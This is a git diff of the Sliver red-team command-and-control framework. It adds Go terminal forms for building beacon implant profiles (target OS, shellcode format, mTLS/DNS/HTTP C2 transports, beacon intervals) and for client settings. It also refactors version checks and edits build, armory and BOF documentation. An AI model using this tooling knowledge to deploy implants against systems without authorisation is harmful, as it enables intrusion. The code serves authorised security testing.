|
||||
)
|
||||
|
||||
if err := form.Run(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/charmbracelet/huh"
|
||||
)
|
||||
|
||||
// GenerateProfilesNewBeaconFormResult captures the inputs needed to drive the profiles new beacon command.
|
||||
type GenerateProfilesNewBeaconFormResult struct {
|
||||
ProfileName string
|
||||
OS string
|
||||
Arch string
|
||||
Format string
|
||||
Name string
|
||||
C2Type string
|
||||
C2Value string
|
||||
Days string
|
||||
Hours string
|
||||
Minutes string
|
||||
Seconds string
|
||||
Jitter string
|
||||
}
|
||||
|
||||
// GenerateProfilesNewBeaconForm prompts for profiles new beacon flags and returns the collected values.
|
||||
func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, error) {
|
||||
result := &GenerateProfilesNewBeaconFormResult{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Format: "exe",
|
||||
C2Type: "mtls",
|
||||
}
|
||||
|
||||
form := huh.NewForm(
|
||||
huh.NewGroup(
|
||||
huh.NewInput().
|
||||
Title("Profile name").
|
||||
Value(&result.ProfileName).
|
||||
Validate(func(value string) error {
|
||||
trimmed := strings.TrimSpace(value)
|
||||
if trimmed == "" {
|
||||
return errors.New("profile name required")
|
||||
}
|
||||
return util.AllowedName(trimmed)
|
||||
}),
|
||||
huh.NewSelect[string]().
|
||||
Title("Target operating system").
|
||||
Options(
|
||||
huh.NewOption("Windows", "windows"),
|
||||
huh.NewOption("Linux", "linux"),
|
||||
huh.NewOption("macOS", "darwin"),
|
||||
).
|
||||
Value(&result.OS),
|
||||
huh.NewSelect[string]().
|
||||
Title("CPU architecture").
|
||||
OptionsFunc(func() []huh.Option[string] {
|
||||
switch result.OS {
|
||||
case "darwin":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
}
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
}
|
||||
}, &result.OS).
|
||||
Height(3).
|
||||
Value(&result.Arch),
|
||||
huh.NewSelect[string]().
|
||||
Title("Output format").
|
||||
OptionsFunc(func() []huh.Option[string] {
|
||||
options := []huh.Option[string]{
|
||||
huh.NewOption("Executable", "exe"),
|
||||
huh.NewOption("Shared library", "shared"),
|
||||
}
|
||||
if result.OS == "windows" {
|
||||
options = append(options,
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
Height(3).
|
||||
Value(&result.Format),
|
||||
),
|
||||
huh.NewGroup(
|
||||
huh.NewInput().
|
||||
Title("Implant name (optional)").
|
||||
Value(&result.Name).
|
||||
Validate(func(value string) error {
|
||||
if strings.TrimSpace(value) == "" {
|
||||
return nil
|
||||
}
|
||||
return util.AllowedName(strings.ToLower(value))
|
||||
}),
|
||||
huh.NewSelect[string]().
|
||||
Title("C2 transport").
|
||||
OptionsFunc(func() []huh.Option[string] {
|
||||
options := []huh.Option[string]{
|
||||
huh.NewOption("mTLS", "mtls"),
|
||||
huh.NewOption("WireGuard", "wg"),
|
||||
huh.NewOption("HTTP(S)", "http"),
|
||||
huh.NewOption("DNS", "dns"),
|
||||
}
|
||||
if result.OS == "windows" {
|
||||
options = append(options,
|
||||
huh.NewOption("Named pipe", "named-pipe"),
|
||||
huh.NewOption("TCP pivot", "tcp-pivot"),
|
||||
)
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
Height(6).
|
||||
Value(&result.C2Type),
|
||||
huh.NewInput().
|
||||
Title("C2 connection string(s)").
|
||||
Description("Comma separated; example: 1.2.3.4:8888 or https://c2.example.com").
|
||||
Value(&result.C2Value).
|
||||
Validate(func(value string) error {
|
||||
if strings.TrimSpace(value) == "" {
|
||||
return errors.New("connection string required")
|
||||
}
|
||||
return nil
|
||||
}),
|
||||
),
|
||||
huh.NewGroup(
|
||||
huh.NewInput().
|
||||
Title("Beacon interval days (optional)").
|
||||
Description("Leave blank for 0").
|
||||
Value(&result.Days).
|
||||
Validate(validateOptionalNonNegativeInt),
|
||||
huh.NewInput().
|
||||
Title("Beacon interval hours (optional)").
|
||||
Description("Leave blank for 0").
|
||||
Value(&result.Hours).
|
||||
Validate(validateOptionalNonNegativeInt),
|
||||
huh.NewInput().
|
||||
Title("Beacon interval minutes (optional)").
|
||||
Description("Leave blank for 0").
|
||||
Value(&result.Minutes).
|
||||
Validate(validateOptionalNonNegativeInt),
|
||||
huh.NewInput().
|
||||
Title("Beacon interval seconds (optional)").
|
||||
Description("Leave blank for default 60 seconds unless other units are set").
|
||||
Value(&result.Seconds).
|
||||
Validate(validateOptionalNonNegativeInt),
|
||||
huh.NewInput().
|
||||
Title("Beacon jitter seconds (optional)").
|
||||
Description("Leave blank for default 30 seconds").
|
||||
Value(&result.Jitter).
|
||||
Validate(validateOptionalNonNegativeInt),
|
||||
),
|
||||
)
|
||||
|
||||
if err := form.Run(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
@@ -0,0 +1,154 @@
|
||||
package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/huh"
|
||||
)
|
||||
|
||||
const defaultSelectHeight = 10
|
||||
|
||||
// Confirm prompts for a yes/no answer.
|
||||
func Confirm(title string, value *bool) error {
|
||||
if value == nil {
|
||||
return errors.New("confirm value is required")
|
||||
}
|
||||
|
||||
form := huh.NewForm(
|
||||
huh.NewGroup(
|
||||
huh.NewConfirm().
|
||||
Title(title).
|
||||
Value(value),
|
||||
),
|
||||
)
|
||||
|
||||
return form.Run()
|
||||
}
|
||||
|
||||
// Input prompts for a single-line string.
|
||||
func Input(title string, value *string) error {
|
||||
if value == nil {
|
||||
return errors.New("input value is required")
|
||||
}
|
||||
|
||||
form := huh.NewForm(
|
||||
huh.NewGroup(
|
||||
huh.NewInput().
|
||||
Title(title).
|
||||
Value(value),
|
||||
),
|
||||
)
|
||||
|
||||
return form.Run()
|
||||
}
|
||||
|
||||
// Text prompts for multi-line input.
|
||||
func Text(title string, value *string) error {
|
||||
if value == nil {
|
||||
return errors.New("text value is required")
|
||||
}
|
||||
|
||||
form := huh.NewForm(
|
||||
huh.NewGroup(
|
||||
huh.NewText().
|
||||
Title(title).
|
||||
ExternalEditor(false).
|
||||
Value(value),
|
||||
),
|
||||
)
|
||||
|
||||
return form.Run()
|
||||
}
|
||||
|
||||
// Select prompts for a single selection from options.
|
||||
func Select(title string, options []string, value *string) error {
|
||||
return selectPrompt(title, options, value, false)
|
||||
}
|
||||
|
||||
// SelectRequired prompts for a single selection and requires a non-empty value.
|
||||
func SelectRequired(title string, options []string, value *string) error {
|
||||
return selectPrompt(title, options, value, true)
|
||||
}
|
||||
|
||||
// MultiSelect prompts for selecting multiple values.
|
||||
func MultiSelect(title string, options []string, value *[]string) error {
|
||||
if value == nil {
|
||||
return errors.New("multi-select value is required")
|
||||
}
|
||||
if len(options) == 0 {
|
||||
return errors.New("multi-select options are required")
|
||||
}
|
||||
|
||||
field := huh.NewMultiSelect[string]().
|
||||
Title(title).
|
||||
Options(makeStringOptions(options)...).
|
||||
Height(listHeight(len(options))).
|
||||
Value(value)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
return form.Run()
|
||||
}
|
||||
|
||||
func selectPrompt(title string, options []string, value *string, required bool) error {
|
||||
if value == nil {
|
||||
return errors.New("select value is required")
|
||||
}
|
||||
if len(options) == 0 {
|
||||
return errors.New("select options are required")
|
||||
}
|
||||
|
||||
ensureSelectedValue(options, value)
|
||||
|
||||
field := huh.NewSelect[string]().
|
||||
Title(title).
|
||||
Options(makeStringOptions(options)...).
|
||||
Height(listHeight(len(options))).
|
||||
Value(value)
|
||||
|
||||
if required {
|
||||
field.Validate(func(val string) error {
|
||||
if strings.TrimSpace(val) == "" {
|
||||
return errors.New("selection required")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
return form.Run()
|
||||
}
|
||||
|
||||
func ensureSelectedValue(options []string, value *string) {
|
||||
if value == nil || len(options) == 0 {
|
||||
return
|
||||
}
|
||||
if *value == "" {
|
||||
*value = options[0]
|
||||
return
|
||||
}
|
||||
for _, option := range options {
|
||||
if option == *value {
|
||||
return
|
||||
}
|
||||
}
|
||||
*value = options[0]
|
||||
}
|
||||
|
||||
func makeStringOptions(options []string) []huh.Option[string] {
|
||||
converted := make([]huh.Option[string], 0, len(options))
|
||||
for _, option := range options {
|
||||
converted = append(converted, huh.NewOption(option, option))
|
||||
}
|
||||
return converted
|
||||
}
|
||||
|
||||
func listHeight(count int) int {
|
||||
if count < 1 {
|
||||
return 1
|
||||
}
|
||||
if count > defaultSelectHeight {
|
||||
return defaultSelectHeight
|
||||
}
|
||||
return count
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/charmbracelet/huh"
|
||||
)
|
||||
|
||||
// SettingsFormResult captures the inputs needed to update client settings.
|
||||
type SettingsFormResult struct {
|
||||
TableStyle string
|
||||
AutoAdult bool
|
||||
BeaconAutoResults bool
|
||||
SmallTermWidth string
|
||||
AlwaysOverflow bool
|
||||
VimMode bool
|
||||
UserConnect bool
|
||||
ConsoleLogs bool
|
||||
}
|
||||
|
||||
// SettingsForm prompts for client settings and returns the collected values.
|
||||
func SettingsForm(settings *assets.ClientSettings, tableStyleOptions []string) (*SettingsFormResult, error) {
|
||||
if settings == nil {
|
||||
return nil, errors.New("settings are required")
|
||||
}
|
||||
if len(tableStyleOptions) == 0 {
|
||||
return nil, errors.New("no table styles available")
|
||||
}
|
||||
|
||||
result := &SettingsFormResult{
|
||||
TableStyle: settings.TableStyle,
|
||||
AutoAdult: settings.AutoAdult,
|
||||
BeaconAutoResults: settings.BeaconAutoResults,
|
||||
SmallTermWidth: strconv.Itoa(settings.SmallTermWidth),
|
||||
AlwaysOverflow: settings.AlwaysOverflow,
|
||||
VimMode: settings.VimMode,
|
||||
UserConnect: settings.UserConnect,
|
||||
ConsoleLogs: settings.ConsoleLogs,
|
||||
}
|
||||
if result.TableStyle == "" {
|
||||
result.TableStyle = tableStyleOptions[0]
|
||||
}
|
||||
|
||||
styleOptions := make([]huh.Option[string], 0, len(tableStyleOptions))
|
||||
for _, option := range tableStyleOptions {
|
||||
styleOptions = append(styleOptions, huh.NewOption(option, option))
|
||||
}
|
||||
|
||||
form := huh.NewForm(
|
||||
huh.NewGroup(
|
||||
huh.NewSelect[string]().
|
||||
Title("Table style").
|
||||
Options(styleOptions...).
|
||||
Height(len(styleOptions)).
|
||||
Value(&result.TableStyle),
|
||||
huh.NewInput().
|
||||
Title("Small terminal width").
|
||||
Description("Omit some table columns when the terminal is narrower than this value").
|
||||
Value(&result.SmallTermWidth).
|
||||
Validate(validateRequiredPositiveInt),
|
||||
huh.NewConfirm().
|
||||
Title("Always overflow tables").
|
||||
Description("Disable table pagination").
|
||||
Value(&result.AlwaysOverflow),
|
||||
).Title("Display"),
|
||||
huh.NewGroup(
|
||||
huh.NewConfirm().
|
||||
Title("Auto accept OPSEC warnings").
|
||||
Description("Skip confirmation prompts for risky actions").
|
||||
Value(&result.AutoAdult),
|
||||
huh.NewConfirm().
|
||||
Title("Auto display beacon results").
|
||||
Description("Show beacon task results when tasks complete").
|
||||
Value(&result.BeaconAutoResults),
|
||||
huh.NewConfirm().
|
||||
Title("Vim navigation mode").
|
||||
Description("Use vim-style navigation in the console").
|
||||
Value(&result.VimMode),
|
||||
huh.NewConfirm().
|
||||
Title("User connect events").
|
||||
Description("Show operator connect and disconnect events").
|
||||
Value(&result.UserConnect),
|
||||
huh.NewConfirm().
|
||||
Title("Console logs").
|
||||
Description("Log console output to disk").
|
||||
Value(&result.ConsoleLogs),
|
||||
).Title("Behavior"),
|
||||
)
|
||||
|
||||
if err := form.Run(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func validateRequiredPositiveInt(value string) error {
|
||||
trimmed := strings.TrimSpace(value)
|
||||
if trimmed == "" {
|
||||
return errors.New("value required")
|
||||
}
|
||||
parsed, err := strconv.Atoi(trimmed)
|
||||
if err != nil {
|
||||
return errors.New("must be a whole number")
|
||||
}
|
||||
if parsed < 1 {
|
||||
return errors.New("must be 1 or greater")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -19,15 +19,23 @@ package version
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"golang.org/x/mod/semver"
|
||||
)
|
||||
|
||||
const (
|
||||
normal = "\033[0m"
|
||||
bold = "\033[1m"
|
||||
|
||||
defaultVersion = "devel"
|
||||
defaultReleasesURL = "https://api.github.com/repos/BishopFox/sliver/releases"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -47,22 +55,111 @@ var (
|
||||
CompiledAt string
|
||||
)
|
||||
|
||||
func init() {
|
||||
if GithubReleasesURL == "" {
|
||||
GithubReleasesURL = defaultReleasesURL
|
||||
}
|
||||
applyBuildInfo()
|
||||
}
|
||||
|
||||
func applyBuildInfo() {
|
||||
info, ok := debug.ReadBuildInfo()
|
||||
if !ok || info == nil {
|
||||
ensureDefaults()
|
||||
return
|
||||
}
|
||||
|
||||
if GoVersion == "" {
|
||||
if info.GoVersion != "" {
|
||||
GoVersion = info.GoVersion
|
||||
} else {
|
||||
GoVersion = runtime.Version()
|
||||
}
|
||||
}
|
||||
|
||||
if Version == "" {
|
||||
Version = normalizeVersion(info.Main.Version)
|
||||
}
|
||||
|
||||
settings := buildSettings(info.Settings)
|
||||
if GitCommit == "" {
|
||||
GitCommit = settings["vcs.revision"]
|
||||
}
|
||||
if GitDirty == "" && settings["vcs.modified"] == "true" {
|
||||
GitDirty = "Dirty"
|
||||
}
|
||||
if CompiledAt == "" {
|
||||
if vcsTime := settings["vcs.time"]; vcsTime != "" {
|
||||
if compiled, err := time.Parse(time.RFC3339, vcsTime); err == nil {
|
||||
CompiledAt = strconv.FormatInt(compiled.Unix(), 10)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ensureDefaults()
|
||||
}
|
||||
|
||||
func ensureDefaults() {
|
||||
if Version == "" {
|
||||
Version = defaultVersion
|
||||
}
|
||||
if GoVersion == "" {
|
||||
GoVersion = runtime.Version()
|
||||
}
|
||||
}
|
||||
|
||||
func buildSettings(settings []debug.BuildSetting) map[string]string {
|
||||
values := make(map[string]string, len(settings))
|
||||
for _, setting := range settings {
|
||||
values[setting.Key] = setting.Value
|
||||
}
|
||||
return values
|
||||
}
|
||||
|
||||
func normalizeVersion(version string) string {
|
||||
if version == "" || version == "(devel)" {
|
||||
return defaultVersion
|
||||
}
|
||||
if canonical := canonicalSemver(version); canonical != "" {
|
||||
return canonical
|
||||
}
|
||||
return version
|
||||
}
|
||||
|
||||
func canonicalSemver(version string) string {
|
||||
version = strings.TrimSpace(version)
|
||||
if version == "" || version == "(devel)" {
|
||||
return ""
|
||||
}
|
||||
if !strings.HasPrefix(version, "v") {
|
||||
version = "v" + version
|
||||
}
|
||||
return semver.Canonical(version)
|
||||
}
|
||||
|
||||
// SemanticVersion - Get the structured sematic version
|
||||
func SemanticVersion() []int {
|
||||
semVer := []int{}
|
||||
version := Version
|
||||
if strings.HasPrefix(version, "v") {
|
||||
version = version[1:]
|
||||
semVer := make([]int, 3)
|
||||
canonical := canonicalSemver(Version)
|
||||
if canonical == "" {
|
||||
return semVer
|
||||
}
|
||||
for _, part := range strings.Split(version, ".") {
|
||||
number, _ := strconv.Atoi(part)
|
||||
semVer = append(semVer, number)
|
||||
base := strings.TrimPrefix(canonical, "v")
|
||||
if idx := strings.Index(base, "-"); idx != -1 {
|
||||
base = base[:idx]
|
||||
}
|
||||
parts := strings.Split(base, ".")
|
||||
for i := 0; i < 3 && i < len(parts); i++ {
|
||||
semVer[i], _ = strconv.Atoi(parts[i])
|
||||
}
|
||||
return semVer
|
||||
}
|
||||
|
||||
// Compiled - Get time this binary was compiled
|
||||
func Compiled() (time.Time, error) {
|
||||
if CompiledAt == "" {
|
||||
return time.Unix(0, 0), errors.New("compiled time not available")
|
||||
}
|
||||
compiled, err := strconv.ParseInt(CompiledAt, 10, 64)
|
||||
if err != nil {
|
||||
return time.Unix(0, 0), err
|
||||
@@ -74,7 +171,7 @@ func Compiled() (time.Time, error) {
|
||||
func FullVersion() string {
|
||||
ver := fmt.Sprintf("%s", Version)
|
||||
compiled, err := Compiled()
|
||||
if err != nil {
|
||||
if err == nil {
|
||||
ver += fmt.Sprintf(" - Compiled %s", compiled.String())
|
||||
}
|
||||
if GitCommit != "" {
|
||||
|
||||
+12
-33
@@ -6,9 +6,9 @@ import (
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"golang.org/x/mod/semver"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -90,42 +90,21 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
mySemVer := SemanticVersion()
|
||||
current := canonicalSemver(Version)
|
||||
if current == "" {
|
||||
current = "v0.0.0"
|
||||
}
|
||||
for _, release := range *releases {
|
||||
if release.Prerelease && !prereleases {
|
||||
continue
|
||||
}
|
||||
releaseSemVer := parseGitTag(release.TagName)
|
||||
for index, myVer := range mySemVer {
|
||||
if index < len(releaseSemVer) {
|
||||
if releaseSemVer[index] == myVer {
|
||||
continue
|
||||
}
|
||||
if releaseSemVer[index] < myVer {
|
||||
break
|
||||
}
|
||||
if myVer < releaseSemVer[index] {
|
||||
return release, nil
|
||||
}
|
||||
}
|
||||
releaseVersion := canonicalSemver(release.TagName)
|
||||
if releaseVersion == "" {
|
||||
continue
|
||||
}
|
||||
if semver.Compare(releaseVersion, current) > 0 {
|
||||
return release, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// parseGitTag - Get the structured sematic version
|
||||
func parseGitTag(tag string) []int {
|
||||
semVer := []int{}
|
||||
version := tag
|
||||
if strings.Contains(version, "-") {
|
||||
version = strings.Split(version, "-")[0]
|
||||
}
|
||||
if strings.HasPrefix(version, "v") {
|
||||
version = version[1:]
|
||||
}
|
||||
for _, part := range strings.Split(version, ".") {
|
||||
number, _ := strconv.Atoi(part)
|
||||
semVer = append(semVer, number)
|
||||
}
|
||||
return semVer
|
||||
}
|
||||
Generated
+1106
-1219
File diff suppressed because it is too large.
Load diff
@@ -1,10 +1,10 @@
|
||||
The armory is the Sliver Alias and Extension package manager (introduced in Sliver v1.5), it allows you to automatically install various 3rd party tools such as BOFs and .NET tooling.
|
||||
The armory is the Sliver Alias and Extension package manager. It allows you to automatically install various third-party tools such as BOFs and .NET tooling.
|
||||
|
||||
The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension.
|
||||
|
||||
Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](/docs?name=Multi-player+Mode).
|
||||
|
||||
As of v1.5.14 you can also use `armory install all` to install _everything_ if you really want to.
|
||||
You can also use `armory install all` to install _everything_ if you really want to.
|
||||
|
||||
## The Official Armory
|
||||
|
||||
@@ -40,10 +40,10 @@ sliver > armory update
|
||||
|
||||
#### Removing Packages
|
||||
|
||||
You remove packages installed from the `armory` using the `aliases rm` and `extensions rm` commands depending on if the package is an alias or an extension. You can list installed aliases and extensions by running `aliases` and `extensions` respectfully.
|
||||
You remove packages installed from the `armory` using the `aliases rm` and `extensions rm` commands depending on if the package is an alias or an extension. You can list installed aliases and extensions by running `aliases` and `extensions` respectively.
|
||||
|
||||
Installed alias and extension files are stored in `~/.sliver-client/` by default if you want to manually remove a package simply delete its corresponding directory and restart the client.
|
||||
|
||||
## Private Armories
|
||||
|
||||
Sliver has experimental support for self-hosted private armories, but I've not gotten around to testing & writing the documentation for these, so you'll have to read thru the source code to figure out how they work for now. I'll eventually update this documentation and release a reference implementation. If you do play around with this, just know the design is subject to change before becoming a real feature.
|
||||
Sliver has experimental support for self-hosted private armories, but I have not gotten around to testing and writing the documentation for these, so you'll have to read through the source code to figure out how they work for now. I'll eventually update this documentation and release a reference implementation. If you do play around with this, just know the design is subject to change before becoming a real feature.
|
||||
@@ -1,4 +1,4 @@
|
||||
Sliver v1.5 and later support the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types.
|
||||
Sliver supports the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types.
|
||||
|
||||
### BOF Extensions
|
||||
|
||||
@@ -37,9 +37,9 @@ Flags:
|
||||
|
||||
### Converting BOFs to Sliver
|
||||
|
||||
Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an `extension.json` though based on what arguments/etc. the BOF accepts.
|
||||
Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an `extension.json`, though, based on what arguments/etc. the BOF accepts.
|
||||
|
||||
To determine the arguments a BOF accepts and their types, you'll need to read `.cna` script that accompanies a given BOF. For example, the [CredMan](https://github.com/sliverarmory/CredManBOF/blob/main/CredMan.cna) `.cna` script is show below:
|
||||
To determine the arguments a BOF accepts and their types, you'll need to read the `.cna` script that accompanies a given BOF. For example, the [CredMan](https://github.com/sliverarmory/CredManBOF/blob/main/CredMan.cna) `.cna` script is shown below:
|
||||
|
||||
```
|
||||
alias CredMan {
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
You'll want to compile from a MacOS or Linux machine, compiling from native Windows in theory is possible, but none of the asset scripts are designed to run on Windows, you can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine see "Windows Builds" below (TL;DR use WSL).
|
||||
You'll want to compile from a MacOS or Linux machine. Compiling from native Windows is possible in theory, but none of the asset scripts are designed to run on Windows. You can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine, see "Windows Builds" below (TL;DR: use WSL).
|
||||
|
||||
# Sliver v1.6.x
|
||||
|
||||
- Go v1.21 or later
|
||||
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
|
||||
To compile from source you'll need:
|
||||
|
||||
- Go v1.25 or later
|
||||
- `make` (on MacOS you may need to install XCode and accompanying cli tools)
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/compile-from-source.cast", "cols": "132"}
|
||||
@@ -26,6 +28,16 @@ $ make
|
||||
|
||||
This will create `sliver-server` and `sliver-client` binaries.
|
||||
|
||||
Sliver embeds its own copy of the Go compiler and a few internal tools. The first time you run `make`, a bash script will download these assets to your local system. This means the first build will take longer than subsequent builds, especially if your internet connection is slow.
|
||||
|
||||
### Cross-compile to Specific Platforms
|
||||
|
||||
You can also specify a target platform for the `make` file:
|
||||
|
||||
```
|
||||
$ GOOS=windows GOARCH=amd64 make
|
||||
```
|
||||
|
||||
### Docker Build
|
||||
|
||||
There are a few Docker targets available depending on your needs:
|
||||
@@ -46,11 +58,15 @@ docker build --target production -t sliver .
|
||||
{"src": "/asciinema/sliver-docker-production.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
|
||||
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run its unit tests as part of the build, and that takes a few minutes too.
|
||||
|
||||
### Windows Builds
|
||||
|
||||
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows-amd64` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
|
||||
|
||||
# Developers
|
||||
|
||||
If you want to modify any of the `.proto` files you'll need to setup a few additional tools to regenerate the `.pb.go` files.
|
||||
If you want to modify any of the `.proto` files you'll need to set up a few additional tools to regenerate the `.pb.go` files.
|
||||
|
||||
- Protoc libprotoc v26.1 or later
|
||||
- Protoc-gen-go v1.27.1
|
||||
@@ -62,7 +78,7 @@ First install your platform's version of `protoc` v3.19.4 or later:
|
||||
|
||||
https://github.com/protocolbuffers/protobuf/releases/latest
|
||||
|
||||
Ensure that correct `protoc` version is on your `$PATH`, you can check with a simple `protoc --version`
|
||||
Ensure that the correct `protoc` version is on your `$PATH`, you can check with a simple `protoc --version`
|
||||
|
||||
#### `protoc-gen-go` `protoc-gen-go-grpc`
|
||||
|
||||
@@ -73,71 +89,8 @@ go install google.golang.org/protobuf/cmd/[email protected]
|
||||
go install google.golang.org/grpc/cmd/[email protected]
|
||||
```
|
||||
|
||||
Ensure that these are both on your `$PATH` after running the commands, if not you probably need to add `$GOPATH/bin` to your `$PATH`. To regenerate the Protobuf and gRPC files run:
|
||||
Ensure that these are both on your `$PATH` after running the commands; if not, you probably need to add `$GOPATH/bin` to your `$PATH`. To regenerate the Protobuf and gRPC files run:
|
||||
|
||||
```
|
||||
$ make pb
|
||||
```
|
||||
|
||||
# Sliver v1.5.x
|
||||
|
||||
- When compiling v1.5.x use Go v1.20.7 you can check your version using `go version`. You can use the [Go Version Manager](https://github.com/moovweb/gvm) to install and manage multiple versions of Go.
|
||||
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
|
||||
|
||||
### Compiling
|
||||
|
||||
First git clone the repository:
|
||||
|
||||
```
|
||||
$ git clone https://github.com/BishopFox/sliver.git
|
||||
$ cd sliver
|
||||
```
|
||||
|
||||
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
|
||||
|
||||
```
|
||||
$ git checkout tags/v1.5.42
|
||||
```
|
||||
|
||||
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
|
||||
|
||||
By default `make` will build whatever platform you're currently running on:
|
||||
|
||||
```
|
||||
$ make
|
||||
```
|
||||
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
|
||||
This will create `sliver-server` and `sliver-client` binaries.
|
||||
|
||||
### Cross-compile to Specific Platforms
|
||||
|
||||
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
|
||||
|
||||
```
|
||||
$ make macos
|
||||
$ make macos-arm64
|
||||
$ make linux
|
||||
$ make linux-arm64
|
||||
$ make windows-amd64
|
||||
```
|
||||
|
||||
### Docker Build
|
||||
|
||||
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build:
|
||||
|
||||
```
|
||||
docker build -t sliver .
|
||||
```
|
||||
|
||||
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
|
||||
|
||||
### Windows Builds
|
||||
|
||||
**NOTE:** In versions of Sliver prior to 1.6.0 you will need mingw to cross-compile Windows builds:
|
||||
|
||||
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
|
||||
- MacOS `brew install mingw-w64`
|
||||
|
||||
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows-amd64` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
|
||||
@@ -1,6 +1,6 @@
|
||||
### General Server Configuration
|
||||
|
||||
Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
|
||||
The Sliver server has a configuration file located in the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables); by default this is `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
|
||||
|
||||
#### Default Server Config
|
||||
|
||||
